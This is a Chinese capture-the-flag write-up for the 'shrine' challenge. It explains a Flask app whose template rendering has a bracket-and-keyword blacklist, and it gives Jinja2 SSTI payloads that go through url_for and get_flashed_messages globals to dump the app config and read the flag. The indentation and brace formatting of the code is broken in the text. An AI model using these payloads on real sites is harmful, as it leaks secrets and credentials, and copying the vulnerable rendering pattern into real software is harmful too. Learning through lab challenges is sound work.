姿势
格式化代码:
import flask
import os
app = flask.Flask(__name__) #创建了一个 Flask 应用对象
app.config['FLAG'] = os.environ.pop('FLAG') #设置了一个名为 FLAG 的配置项,其值来自环境变量,并将环境变量移除。
@app.route('/')
def index():
return open(__file__).read()
# 打开当前文件并返回其内容
@app.route('/shrine/')
def shrine(shrine): #接受一个参数 shrine,并使用 safe_jinja() 函数进行处理和渲染 Jinja2 模板
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{
{% set {}=None %}}'.format(c) for c in blacklist]) + s
#替换字符串中的括号,并将黑名单中的关键字设为 None。然后使用 flask.render_template_string() 方法渲染模板。
return flask.render_template_string(safe_jinja(shrine))
# 渲染安全的 Jinja2 模板
if __name__ == '__main__':
app.run(debug=True)
#在直接运行该脚本时才会执行以下的 app.run(debug=True),即运行 Flask 应用
这段代码是一个简单的 Flask 应用。它创建了一个 Flask 应用对象,并设置了一个名为 FLAG 的配置项,其值来自环境变量。然后定义了两个路由,一个用于返回当前文件的内容,另一个用于渲染 Jinja2 模板。
推测flag在名为FLAG的config中,但黑名单过滤了config,通过Jinja2联想SSTI注入
在这个程序中,/shrine/ 是定义的路由路径,会匹配到处理该路径的函数。
于是构造路径:
/shirne/{
{
1*1}}
回显如下:
说明SSTI可行
方法一
在 Flask 中,url_for 函数是定义在 Flask 的全局命名空间中的,因此可以通过访问 url_for.__globals__
来获取 Flask 全局命名空间的内容。
得到current.app,由于config中包含了应用程序的配置信息,比如数据库连接字符串、密钥等。于是我们访问当前app的config,构造POC访问:
/shrine/{
{
url_for.__globals__['current_app'].config}}
#在 Flask 全局命名空间中访问当前应用程序的配置对象
回显如下:
得到flag
方法二
get_flashed_messages() 是 Flask 提供的一个函数,用于获取通过 Flask 的消息闪现机制(flash)传递给用户的消息。
在 Flask 中,闪现消息是一种临时存储的机制,允许在一个请求中传递消息给下一个请求。它通常用于在用户之间显示一次性的提示或警告消息。
Payload:
/shrine/{
{
get_flashed_messages.__globals__}}
# 访问全局命名空间
Payload:
/shrine/{
{
get_flashed_messages.__globals__['current_app'].config}}
#同理,访问当前app的配置文件
得到flag
总结
以上为[CTF/网络安全] 攻防世界 shrine 解题详析,考察Jinja2之SSTI注入。
我是秋说,我们下次见。